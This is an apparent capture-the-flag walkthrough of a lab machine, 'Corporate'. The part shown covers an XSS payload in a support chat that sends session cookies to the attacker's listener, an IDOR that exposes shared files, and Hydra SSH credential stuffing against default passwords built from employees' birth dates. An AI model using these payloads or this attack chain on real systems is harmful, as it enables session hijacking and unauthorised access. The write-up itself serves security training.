TL;DR
This is an network resembling a corporate environment. The web site offers a support chat that is vulnerable to XSS and after exploitation we are able to get an access cookie. Once we have access to an employee dashboard we are able to move laterally by exploiting an IDOR vulnerability on the shared files feature. This allows to get a list of valid usernames and dates of birth, that can be used to craft a list of initial passwords that will be used to bruteforce access to an SSH machine in the internal network and get the user flag. Regarding escalation, first we crack a Bitwarden PIN to get access to an internal Gitea server. Here we find a JWT secret that will allow us to create token to move laterally to another user from the "Engineer" group. This allows to escalate privileges and move laterally to another host, where finally we have to exploit Proxmon's CVE-2022-35508 to escalate to root.
KEYWORDS
XSS, IDOR, Hydra SSH bruteforce, Bitwarden, Gitea, Proxmon 7.4, CVE-2022-35508.
REFERENCES
https://gitlab.com/ntninja/moz-idb-edit
https://ambiso.github.io/bitwarden-pin/
https://github.com/ambiso/bitwarden-pin
https://www.cvedetails.com/cve/CVE-2022-35508/
https://starlabs.sg/blog/2022/12-multiple-vulnerabilites-in-proxmox-ve--proxmox-mail-gateway/
https://pve.proxmox.com/wiki/Proxmox_VE_API
https://pve.proxmox.com/pve-docs/api-viewer/index.html#/access/password
ENUMERATION
Port scan.
Copy > nmap $target -p- -T4 -Pn --open --reason
Starting Nmap 7.93 ( https://nmap.org ) at 2024-02-14 14:10 EST
Stats: 0:00:57 elapsed ; 0 hosts completed (1 up ), 1 undergoing Connect Scan
Connect Scan Timing: About 38.10% done ; ETC: 14:13 (0:01:34 remaining )
Nmap scan report for corporate.htb (10.10.11.246)
Host is up, received user-set (0.073s latency ).
Not shown: 65534 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE REASON
80/tcp open http syn-ack
Nmap done: 1 IP address (1 host up ) scanned in 133.43 seconds
Enumerate the open ports.
Copy > nmap $target -p80 -sV -sC -Pn -vv
Starting Nmap 7.93 ( https://nmap.org ) at 2024-02-14 14:13 EST
Nmap scan report for corporate.htb (10.10.11.246)
Host is up, received user-set (0.12s latency ).
Scanned at 2024-02-14 14:13:58 EST for 12s
PORT STATE SERVICE REASON VERSION
80/tcp open http syn-ack OpenResty web app server 1.21.4.3
| _http-title: Corporate.HTB
| _http-server-header: openresty/1.21.4.3
| http-methods:
| _ Supported Methods: GET HEAD
Nmap done: 1 IP address (1 host up ) scanned in 12.50 seconds
Fuzz for subdomains.
Copy > ffuf -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -fs 175 -t 100 -u http://corporate.htb -H "Host: FUZZ.corporate.htb"
/ '___\ /' ___\ / '___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://corporate.htb
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
:: Header : Host: FUZZ.corporate.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 100
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 175
________________________________________________
git [Status: 403, Size: 159, Words: 3, Lines: 8, Duration: 90ms]
support [Status: 200, Size: 1725, Words: 383, Lines: 39, Duration: 450ms]
sso [Status: 302, Size: 38, Words: 4, Lines: 1, Duration: 88ms]
people [Status: 302, Size: 32, Words: 4, Lines: 1, Duration: 75ms]
:: Progress: [4989/4989] :: Job [1/1] :: 1204 req/sec :: Duration: [0:00:05] :: Errors: 0 ::
Add to hosts
file and enumerate the web site with Firefox. In the "Contact" section we can start a chat session with support team.
USER
The support chat is vulnerable to XSS, so start a new discussion and insert the payload.
Copy < a href = "http://corporate.htb/<script+src='/vendor/analytics.min.js'></script><script+src='/assets/js/analytics.min.js?v=document.location=`http://10.10.15.46:80/${document.cookie}`'</script>" id = "send-message" >
Start a Python HTTP server on port 80 and click on "Send Message", a CorporateSSO
cookie is received.
Copy > python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.246 - - [15/Feb/2024 05:34:03] code 404, message File not found
10.10.11.246 - - [15/Feb/2024 05:34:03] "GET /CorporateSSO=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6NTA3MiwibmFtZSI6IkNhbmRpZG8iLCJzdXJuYW1lIjoiSGFja2V0dCIsImVtYWlsIjoiQ2FuZGlkby5IYWNrZXR0QGNvcnBvcmF0ZS5odGIiLCJyb2xlcyI6WyJzYWxlcyJdLCJyZXF1aXJlQ3VycmVudFBhc3N3b3JkIjp0cnVlLCJpYXQiOjE3MDc5OTMzNjYsImV4cCI6MTcwODA3OTc2Nn0.mYN0Lmpg7Tl5CjhjhTL-ZwQEIjG01v7CfINrhWt-YiE HTTP/1.1" 404 -
Repeat the process a couple of times to collect more cookies.
Copy > python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.246 - - [15/Feb/2024 05:34:03] code 404, message File not found
10.10.11.246 - - [15/Feb/2024 05:34:03] "GET /CorporateSSO=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6NTA3MiwibmFtZSI6IkNhbmRpZG8iLCJzdXJuYW1lIjoiSGFja2V0dCIsImVtYWlsIjoiQ2FuZGlkby5IYWNrZXR0QGNvcnBvcmF0ZS5odGIiLCJyb2xlcyI6WyJzYWxlcyJdLCJyZXF1aXJlQ3VycmVudFBhc3N3b3JkIjp0cnVlLCJpYXQiOjE3MDc5OTMzNjYsImV4cCI6MTcwODA3OTc2Nn0.mYN0Lmpg7Tl5CjhjhTL-ZwQEIjG01v7CfINrhWt-YiE HTTP/1.1" 404 -
10.10.11.246 - - [15/Feb/2024 05:50:55] code 404, message File not found
10.10.11.246 - - [15/Feb/2024 05:50:55] "GET /CorporateSSO=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6NTA3NSwibmFtZSI6Ik1hcmdhcmV0dGUiLCJzdXJuYW1lIjoiQmF1bWJhY2giLCJlbWFpbCI6Ik1hcmdhcmV0dGUuQmF1bWJhY2hAY29ycG9yYXRlLmh0YiIsInJvbGVzIjpbInNhbGVzIl0sInJlcXVpcmVDdXJyZW50UGFzc3dvcmQiOnRydWUsImlhdCI6MTcwNzk5NDQwNSwiZXhwIjoxNzA4MDgwODA1fQ.g30byrp_4towRAsThHe3C9w61VJBAwTYFjMKiL08wmw HTTP/1.1" 404 -
10.10.11.246 - - [15/Feb/2024 05:53:35] code 404, message File not found
10.10.11.246 - - [15/Feb/2024 05:53:35] "GET /CorporateSSO=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6NTA3MywibmFtZSI6IkRhbmdlbG8iLCJzdXJuYW1lIjoiS29jaCIsImVtYWlsIjoiRGFuZ2Vsby5Lb2NoQGNvcnBvcmF0ZS5odGIiLCJyb2xlcyI6WyJzYWxlcyJdLCJyZXF1aXJlQ3VycmVudFBhc3N3b3JkIjp0cnVlLCJpYXQiOjE3MDc5OTQ1NjksImV4cCI6MTcwODA4MDk2OX0.UG1_08ONdylpuw75hLO9ch53ede0Hb3PGfk_nUIux0s HTTP/1.1" 404 -
Then decode the JWTs to find some usernames. This is for the first token.
Copy > jwt_tool eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6NTA3MiwibmFtZSI6IkNhbmRpZG8iLCJzdXJuYW1lIjoiSGFja2V0dCIsImVtYWlsIjoiQ2FuZGlkby5IYWNrZXR0QGNvcnBvcmF0ZS5odGIiLCJyb2xlcyI6WyJzYWxlcyJdLCJyZXF1aXJlQ3VycmVudFBhc3N3b3JkIjp0cnVlLCJpYXQiOjE3MDc5OTMzNjYsImV4cCI6MTcwODA3OTc2Nn0.mYN0Lmpg7Tl5CjhjhTL-ZwQEIjG01v7CfINrhWt-YiE
\ \ \ \ \ \
\_ _ | | \ | \__ __ | \__ __ | |
| | \ | | | \ \ |
| \ | | | __ \ __ \ |
\ | _ | | | | | | | |
| | / \ | | | | | | | |
\ | / \ | | | \ | \ | |
\______/ \_ _/ \_ _ | \__ | \__ | \______/ \_ _____/ \_ _ |
Version 2.2.6 \_ _____ | @ticarpi
Original JWT:
=====================
Decoded Token Values:
=====================
Token header values:
[+] alg = "HS256"
[+] typ = "JWT"
Token payload values:
[+] id = 5072
[+] name = "Candido"
[+] surname = "Hackett"
[+] email = "Candido.Hackett@corporate.htb"
[+] roles = [ 'sales' ]
[+] requireCurrentPassword = True
[+] iat = 1707993366 == > TIMESTAMP = 2024-02-15 05:36:06 ( UTC )
[+] exp = 1708079766 == > TIMESTAMP = 2024-02-16 05:36:06 ( UTC )
Seen timestamps:
[ * ] iat was seen
[ * ] exp is later than iat by: 1 days, 0 hours, 0 mins
----------------------
JWT common timestamps:
iat = IssuedAt
exp = Expires
nbf = NotBefore
----------------------
This is for the second.
Copy > jwt_tool eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6NTA3NSwibmFtZSI6Ik1hcmdhcmV0dGUiLCJzdXJuYW1lIjoiQmF1bWJhY2giLCJlbWFpbCI6Ik1hcmdhcmV0dGUuQmF1bWJhY2hAY29ycG9yYXRlLmh0YiIsInJvbGVzIjpbInNhbGVzIl0sInJlcXVpcmVDdXJyZW50UGFzc3dvcmQiOnRydWUsImlhdCI6MTcwNzk5NDQwNSwiZXhwIjoxNzA4MDgwODA1fQ.g30byrp_4towRAsThHe3C9w61VJBAwTYFjMKiL08wmw
\ \ \ \ \ \
\_ _ | | \ | \__ __ | \__ __ | |
| | \ | | | \ \ |
| \ | | | __ \ __ \ |
\ | _ | | | | | | | |
| | / \ | | | | | | | |
\ | / \ | | | \ | \ | |
\______/ \_ _/ \_ _ | \__ | \__ | \______/ \_ _____/ \_ _ |
Version 2.2.6 \_ _____ | @ticarpi
Original JWT:
=====================
Decoded Token Values:
=====================
Token header values:
[+] alg = "HS256"
[+] typ = "JWT"
Token payload values:
[+] id = 5075
[+] name = "Margarette"
[+] surname = "Baumbach"
[+] email = "Margarette.Baumbach@corporate.htb"
[+] roles = [ 'sales' ]
[+] requireCurrentPassword = True
[+] iat = 1707994405 == > TIMESTAMP = 2024-02-15 05:53:25 ( UTC )
[+] exp = 1708080805 == > TIMESTAMP = 2024-02-16 05:53:25 ( UTC )
Seen timestamps:
[ * ] iat was seen
[ * ] exp is later than iat by: 1 days, 0 hours, 0 mins
----------------------
JWT common timestamps:
iat = IssuedAt
exp = Expires
nbf = NotBefore
----------------------
And this is the last one.
Copy > jwt_tool eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6NTA3MywibmFtZSI6IkRhbmdlbG8iLCJzdXJuYW1lIjoiS29jaCIsImVtYWlsIjoiRGFuZ2Vsby5Lb2NoQGNvcnBvcmF0ZS5odGIiLCJyb2xlcyI6WyJzYWxlcyJdLCJyZXF1aXJlQ3VycmVudFBhc3N3b3JkIjp0cnVlLCJpYXQiOjE3MDc5OTQ1NjksImV4cCI6MTcwODA4MDk2OX0.UG1_08ONdylpuw75hLO9ch53ede0Hb3PGfk_nUIux0s
\ \ \ \ \ \
\_ _ | | \ | \__ __ | \__ __ | |
| | \ | | | \ \ |
| \ | | | __ \ __ \ |
\ | _ | | | | | | | |
| | / \ | | | | | | | |
\ | / \ | | | \ | \ | |
\______/ \_ _/ \_ _ | \__ | \__ | \______/ \_ _____/ \_ _ |
Version 2.2.6 \_ _____ | @ticarpi
Original JWT:
=====================
Decoded Token Values:
=====================
Token header values:
[+] alg = "HS256"
[+] typ = "JWT"
Token payload values:
[+] id = 5073
[+] name = "Dangelo"
[+] surname = "Koch"
[+] email = "Dangelo.Koch@corporate.htb"
[+] roles = [ 'sales' ]
[+] requireCurrentPassword = True
[+] iat = 1707994569 == > TIMESTAMP = 2024-02-15 05:56:09 ( UTC )
[+] exp = 1708080969 == > TIMESTAMP = 2024-02-16 05:56:09 ( UTC )
Seen timestamps:
[ * ] iat was seen
[ * ] exp is later than iat by: 1 days, 0 hours, 0 mins
----------------------
JWT common timestamps:
iat = IssuedAt
exp = Expires
nbf = NotBefore
----------------------
Now login in http://people.corporate.htb or http://people.corporate.htb/dashboard with any of these tokens. To do this, just add the cookie in Firefox console or configure Burpsuite proxy settings to automatically add the cookie in the headers.
Reload the site, you are logged as Dangelo Koch.
Start enumerating the employee dashboard.
First, in the chat we can see several employees posts, clicking on the employee name we see the URL address format is like this: http://people.corporate.htb/employee/<employeeID>
It seems employee IDs are within the range 5000 – 5100, and by clicking on each employee we get access to the employee personal data, such as email and date of birth.
Our first step will be to get a list of valid employee IDs. For this, prepare a wordlist of sequential numbers from 5000 to 5100.
Copy > seq 5000 5100 > seq
Then capture a request and edit with vim
to prepare for ffuf
Copy > cat request.txt
GET /employee/FUZZ HTTP/1.1
Host: people.corporate.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64 ; rv:102.0 ) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml ;q = 0.9,image/avif,image/webp,*/* ;q = 0.8
Accept-Language: en-US,en ;q = 0.5
Accept-Encoding: gzip, deflate, br
Connection: close
Referer: http://people.corporate.htb/chat
Cookie: session=eyJmbGFzaGVzIjp7ImluZm8iOltdLCJlcnJvciI6W10sInN1Y2Nlc3MiOltdfX0= ; session.sig =Xv20By8Kcqjl63KIekx8ydOXVDI
Upgrade-Insecure-Requests: 1
Cookie: CorporateSSO=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6NTA3MywibmFtZSI6IkRhbmdlbG8iLCJzdXJuYW1lIjoiS29jaCIsImVtYWlsIjoiRGFuZ2Vsby5Lb2NoQGNvcnBvcmF0ZS5odGIiLCJyb2xlcyI6WyJzYWxlcyJdLCJyZXF1aXJlQ3VycmVudFBhc3N3b3JkIjp0cnVlLCJpYXQiOjE3MDc5OTQ1NjksImV4cCI6MTcwODA4MDk2OX0.UG1_08ONdylpuw75hLO9ch53ede0Hb3PGfk_nUIux0s
Fuzz with ffuf
, we find a list of 78 employee IDs.
Copy > ffuf -s -c -request request.txt -request-proto http -t 100 -mc 200 -w ./seq | sort -u > employeeID.txt
> wc -l employeeID.txt
78 employeeID.txt
> head employeeID.txt
5001
5002
5003
5004
5005
5006
5007
5008
5009
5010
> tail employeeID.txt
5069
5070
5071
5072
5073
5074
5075
5076
5077
5078
Next, click on the "Sharing" tab, here you can share your files with any other employee. Just click on the icon and add the email of the user you want to share the file with. Use the email of any of the employees whose cookies we have dumped before, for example Margarette Baumbach.
Click on "Share File" and then log in as Margarette using the previously captured JWT token. Add the token in Burpsuite headers configuration, then reload http://people.corporate.htb/dashboard . Margarette's profile comes into view.
Verify in the "Sharing" tab Margarette has access to Dangelo's shared file, and notice the file URL is formed: http://people.corporate.htb/sharing/file/222
There is a possibility file IDs are granted sequentially, like in IDOR vulnerability, so we can make all files shared with Margarette from Dangelo's profile.
Go back to Dangelo's dashboard (edit the cookie in Burpsuite headers configuration and reload the dashboard). Move to his "Sharing" tab, intercept a sharing request and copy to a file. Then edit the file to fuzz the fileid
field. Your request file should look like this.
Copy > cat request.xt
POST /sharing HTTP/1.1
Host: people.corporate.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64 ; rv:102.0 ) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml ;q = 0.9,image/avif,image/webp,*/* ;q = 0.8
Accept-Language: en-US,en ;q = 0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 52
Origin: http://people.corporate.htb
Connection: close
Referer: http://people.corporate.htb/sharing
Cookie: session=eyJmbGFzaGVzIjp7ImluZm8iOltdLCJlcnJvciI6W10sInN1Y2Nlc3MiOltdfX0= ; session.sig =Xv20By8Kcqjl63KIekx8ydOXVDI
Upgrade-Insecure-Requests: 1
Cookie: CorporateSSO=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6NTA3MywibmFtZSI6IkRhbmdlbG8iLCJzdXJuYW1lIjoiS29jaCIsImVtYWlsIjoiRGFuZ2Vsby5Lb2NoQGNvcnBvcmF0ZS5odGIiLCJyb2xlcyI6WyJzYWxlcyJdLCJyZXF1aXJlQ3VycmVudFBhc3N3b3JkIjp0cnVlLCJpYXQiOjE3MDc5OTQ1NjksImV4cCI6MTcwODA4MDk2OX0.UG1_08ONdylpuw75hLO9ch53ede0Hb3PGfk_nUIux0s
fileId = FUZZ & email = margarette.baumbach%40corporate.htb
Generate a wordlist of 300 files and fire the process with ffuf
. Since this is a POST request, all hypothetical files with ID from 1 to 300 will be shared with Margarette after each request is completed.
Copy > ffuf -c -request share_request.txt -request-proto http -t 100 -mc 200 -w ./seq
/ '___\ /' ___\ / '___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : POST
:: URL : http://people.corporate.htb/sharing
:: Wordlist : FUZZ: /home/kali/htb/corporate/seq
:: Header : Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
:: Header : Accept-Language: en-US,en;q=0.5
:: Header : Accept-Encoding: gzip, deflate, br
:: Header : Origin: http://people.corporate.htb
:: Header : Connection: close
:: Header : Referer: http://people.corporate.htb/sharing
:: Header : Cookie: CorporateSSO=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6NTA3MywibmFtZSI6IkRhbmdlbG8iLCJzdXJuYW1lIjoiS29jaCIsImVtYWlsIjoiRGFuZ2Vsby5Lb2NoQGNvcnBvcmF0ZS5odGIiLCJyb2xlcyI6WyJzYWxlcyJdLCJyZXF1aXJlQ3VycmVudFBhc3N3b3JkIjp0cnVlLCJpYXQiOjE3MDc5OTQ1NjksImV4cCI6MTcwODA4MDk2OX0.UG1_08ONdylpuw75hLO9ch53ede0Hb3PGfk_nUIux0s
:: Header : Host: people.corporate.htb
:: Header : User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
:: Header : Content-Type: application/x-www-form-urlencoded
:: Header : Upgrade-Insecure-Requests: 1
:: Data : fileId=FUZZ&email=margarette.baumbach%40corporate.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 100
:: Matcher : Response status: 200
________________________________________________
:: Progress: [300/300] :: Job [1/1] :: 167 req/sec :: Duration: [0:00:01] :: Errors: 0 ::
No answer is received but it does not matter, the POST requests have been successfully processed.
Move back to Margarette's profile, verify a huge amount of files are now shared with her. We are interested in fileid=122
, a PDF file shared by Callie Goldner called welcome_to_corporate_2023_draft.pdf
Open it, it looks like a template for newcomers welcome document. You can see the password policy for new accounts.
Copy Your default password has been set to “CorporateStarterDDMMYYYY”
If you remember, we had retrieved an employee ID list before. Using these IDs we can extract the date of brith from all employees.
Prepare a list of possible credential pair username-password for a credential stuffing attack.
Copy abbigail.halvorson CorporateStarter17091965
abigayle.kessler CorporateStarter21101982
adrianna.stehr CorporateStarter08061997
ally.effertz CorporateStarter02081996
america.kirlin CorporateStarter29121957
amie.torphy CorporateStarter26031953
anastasia.nader CorporateStarter02041957
annamarie.flatley CorporateStarter13071994
antwan.bernhard CorporateStarter01052002
arch.ryan CorporateStarter29121960
august.gottlieb CorporateStarter14091992
beth.feest CorporateStarter13101996
bethel.hessel CorporateStarter29121984
brody.wiza CorporateStarter14071992
callie.goldner CorporateStarter14051967
candido.hackett CorporateStarter02021987
candido.mcdermott CorporateStarter30031973
cathryn.weissnat CorporateStarter08122002
cecelia.west CorporateStarter24041986
christian.spencer CorporateStarter26111966
dangelo.koch CorporateStarter23111986
dayne.ruecker CorporateStarter05051965
dessie.wolf CorporateStarter07031999
dylan.schumm CorporateStarter26021967
elwin.jones CorporateStarter04041987
elwin.mills CorporateStarter14111957
erna.lindgren CorporateStarter04111951
esperanza.kihn CorporateStarter23041956
estelle.padberg CorporateStarter24101989
estrella.wisoky CorporateStarter04021975
garland.denesik CorporateStarter12011992
gayle.graham CorporateStarter20101990
gideon.daugherty CorporateStarter19021969
halle.keeling CorporateStarter22021982
harley.ratke CorporateStarter24051978
hector.king CorporateStarter30101987
hermina.leuschke CorporateStarter15071986
jacey.bernhard CorporateStarter10051990
jammie.corkery CorporateStarter09041997
josephine.hermann CorporateStarter20051970
joy.gorczany CorporateStarter23011992
julio.daniel CorporateStarter23011987
justyn.beahan CorporateStarter19061981
kacey.krajcik CorporateStarter25011954
kasey.walsh CorporateStarter07081999
katelin.keeling CorporateStarter25041989
katelyn.swift CorporateStarter26071954
kian.rodriguez CorporateStarter08061957
larissa.wilkinson CorporateStarter10051979
laurie.casper CorporateStarter18111959
leanne.runolfsdottir CorporateStarter01121963
lila.mcglynn CorporateStarter10101982
mabel.koepp CorporateStarter23021995
marcella.kihn CorporateStarter09101959
margarette.baumbach CorporateStarter23031999
marge.frami CorporateStarter10062002
michale.jakubowski CorporateStarter25071989
mohammed.feeney CorporateStarter04111974
morris.lowe CorporateStarter18061983
nora.brekke CorporateStarter18011996
nya.little CorporateStarter21061965
oleta.gutmann CorporateStarter11111965
penelope.mcclure CorporateStarter08031968
rachelle.langworth CorporateStarter19061998
raphael.adams CorporateStarter28012001
richie.cormier CorporateStarter23011964
rosalee.schmitt CorporateStarter04071990
ross.leffler CorporateStarter11041963
sadie.greenfelder CorporateStarter21011964
scarlett.herzog CorporateStarter22061995
skye.will CorporateStarter16101965
stephen.schamberger CorporateStarter27031979
stevie.rosenbaum CorporateStarter20101987
tanner.kuvalis CorporateStarter19011969
uriel.hahn CorporateStarter25121992
veda.kemmer CorporateStarter14111980
ward.pfannerstill CorporateStarter04051971
zaria.kozey CorporateStarter12041970
Save the list as we will use it later.
Go back to your dashboard "Sharing" section and download the .ovpn
. Use it to connect to the VPN.
Copy > sudo openvpn margarette-baumbach.ovpn
In the openvpn
output we notice 2 new routes have been added to 2 subnets 10.8.0.xxx and 10.9.0.xxx.
Copy 2024-02-15 07:35:15 net_route_v4_best_gw query: dst 0.0.0.0
2024-02-15 07:35:15 net_route_v4_best_gw result: via 10.1.1.1 dev eth0
2024-02-15 07:35:15 ROUTE_GATEWAY 10.1.1.1/255.255.255.0 IFACE=eth0 HWADDR=08:00:27:ad:fb:7a
2024-02-15 07:35:15 TUN/TAP device tun1 opened
2024-02-15 07:35:15 net_iface_mtu_set: mtu 1500 for tun1
2024-02-15 07:35:15 net_iface_up: set tun1 up
2024-02-15 07:35:15 net_addr_v4_add: 10.8.0.2/24 dev tun1
2024-02-15 07:35:15 net_route_v4_add: 10.9.0.0/24 via 10.8.0.1 dev [NULL] table 0
2024-02-15 07:35:15 Initialization Sequence Completed
Verify the new IP address assigned.
Copy > ifconfig tun1
tun1: flags= 4305 < UP,POINTOPOINT,RUNNING,NOARP,MULTICAS T > mtu 1500
inet 10.8.0.2 netmask 255.255.255.0 destination 10.8.0.2
inet6 fe80::1531:9922:9f0a:a540 prefixlen 64 scopeid 0x20 < lin k >
unspec 00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00 txqueuelen 500 (UNSPEC)
RX packets 0 bytes 0 (0.0 B )
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 5 bytes 240 (240.0 B )
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
And use your favorite host discovery script or method to scan the subnet, taking note of the alive hosts.
For example, this is a custom .sh
script that pings all IPs in the subnet with nmap
and saves the results in the file pingscan
Copy > cat pingscan.sh
############################################################
# #
# usage ./pingscan.sh <IP C subnet> #
# nmap sends TCP SYN to ports 80 and 443 in the subnet #
# alive hosts are saved to file "pingscan" #
# #
############################################################
#!/bin/bash
echo "\nuse with C-class IP subnets: ./pingscan.sh <xxx.xxx.xxx>"
nmap -sn $1 .0/24 -oG pingsweep 1> /dev/null
grep Up pingsweep | awk -F " " '{print $2}' > pingscan
rm pingsweep
echo "\nhosts responding to ping in the subnet:\n"
cat pingscan
echo "\nalive hosts saved to 'pingscan'\n"
> ./pingscan.sh 10.8.0
use with C-class IP subnets: ./pingscan.sh < xxx.xxx.xx x >
hosts responding to ping in the subnet:
10.8.0.1
10.8.0.2
alive hosts saved to 'pingscan'
> cat pingscan
10.8.0.1
10.8.0.2
And also use it in the 10.9.0.xxx subnet, since this new route has also been added.
Copy > ./pingscan.sh 10.9.0
use with C-class IP subnets: ./pingscan.sh <xxx.xxx.xxx>
hosts responding to ping in the subnet:
10.9.0.1
10.9.0.4
alive hosts saved to 'pingscan'
We will start by enumerating the discovered hosts. First the IP 10.8.0.1 and then the other 2 hosts in the 10.9.0.xxx subnet.
Copy > nmap 10.8.0.1 -p- -T4 -Pn --open --reason
Starting Nmap 7.93 ( https://nmap.org ) at 2024-02-15 07:54 EST
Nmap scan report for 10.8.0.1
Host is up, received user-set (0.083s latency ).
Not shown: 59272 closed tcp ports (conn-refused), 6255 filtered tcp ports ( no-response )
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack
80/tcp open http syn-ack
389/tcp open ldap syn-ack
636/tcp open ldapssl syn-ack
2049/tcp open nfs syn-ack
3004/tcp open csoftragent syn-ack
3128/tcp open squid-http syn-ack
8006/tcp open wpl-analytics syn-ack
Nmap done: 1 IP address (1 host up ) scanned in 38.22 seconds
> nmap 10.9.0.1 -p- -T4 -Pn --open --reason
Starting Nmap 7.93 ( https://nmap.org ) at 2024-02-15 07:55 EST
Nmap scan report for 10.9.0.1
Host is up, received user-set (0.11s latency ).
Not shown: 58724 closed tcp ports (conn-refused), 6805 filtered tcp ports ( no-response )
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack
80/tcp open http syn-ack
636/tcp open ldapssl syn-ack
3004/tcp open csoftragent syn-ack
3128/tcp open squid-http syn-ack
8006/tcp open wpl-analytics syn-ack
Nmap done: 1 IP address (1 host up ) scanned in 33.84 seconds
> nmap 10.9.0.4 -p- -T4 -Pn --open --reason
Starting Nmap 7.93 ( https://nmap.org ) at 2024-02-15 07:58 EST
Nmap scan report for 10.9.0.4
Host is up, received user-set (0.092s latency ).
Not shown: 56004 closed tcp ports (conn-refused), 9529 filtered tcp ports ( no-response )
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack
111/tcp open rpcbind syn-ack
Nmap done: 1 IP address (1 host up ) scanned in 35.05 seconds
The three hosts have port 22 open.
We will launch a credential stuffing attack with hydra
and the list of credentials we crafted before. In a credential stuffing attack not all usernames are tested against all passwords, only the username-password pair.
Trim the credentials.txt
file in the format username:password
and use the option –C
with hydra
Trying the attack in the 3 boxes, finally we find credentials for machine 10.9.0.4.
Copy > head credentials.txt
abbigail.halvorson:CorporateStarter17091965
abigayle.kessler:CorporateStarter21101982
adrianna.stehr:CorporateStarter08061997
ally.effertz:CorporateStarter02081996
america.kirlin:CorporateStarter29121957
amie.torphy:CorporateStarter26031953
anastasia.nader:CorporateStarter02041957
annamarie.flatley:CorporateStarter13071994
antwan.bernhard:CorporateStarter01052002
arch.ryan:CorporateStarter29121960
> hydra -t 10 -vV -C credentials.txt -s 22 10.9.0.4 ssh
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway ).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-02-15 08:04:54
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 10 tasks per 1 server, overall 10 tasks, 78 login tries, ~ 8 tries per task
[DATA] attacking ssh://10.9.0.4:22/
[VERBOSE] Resolving addresses ... [VERBOSE] resolving done
[INFO] Testing if password authentication is supported by ssh://abbigail.halvorson@10.9.0.4:22
[INFO] Successful, password authentication is supported by ssh://10.9.0.4:22
[ATTEMPT] target 10.9.0.4 - login "abbigail.halvorson" - pass "CorporateStarter17091965" - 1 of 78 [child 0] ( 0/0 )
[ATTEMPT] target 10.9.0.4 - login "abigayle.kessler" - pass "CorporateStarter21101982" - 2 of 78 [child 1] ( 0/0 )
[ATTEMPT] target 10.9.0.4 - login "adrianna.stehr" - pass "CorporateStarter08061997" - 3 of 78 [child 2] ( 0/0 )
[ATTEMPT] target 10.9.0.4 - login "ally.effertz" - pass "CorporateStarter02081996" - 4 of 78 [child 3] ( 0/0 )
[ATTEMPT] target 10.9.0.4 - login "america.kirlin" - pass "CorporateStarter29121957" - 5 of 78 [child 4] ( 0/0 )
[ATTEMPT] target 10.9.0.4 - login "amie.torphy" - pass "CorporateStarter26031953" - 6 of 78 [child 5] ( 0/0 )
[ATTEMPT] target 10.9.0.4 - login "anastasia.nader" - pass "CorporateStarter02041957" - 7 of 78 [child 6] ( 0/0 )
[ATTEMPT] target 10.9.0.4 - login "annamarie.flatley" - pass "CorporateStarter13071994" - 8 of 78 [child 7] ( 0/0 )
[ATTEMPT] target 10.9.0.4 - login "antwan.bernhard" - pass "CorporateStarter01052002" - 9 of 78 [child 8] ( 0/0 )
[ATTEMPT] target 10.9.0.4 - login "arch.ryan" - pass "CorporateStarter29121960" - 10 of 78 [child 9] ( 0/0 )
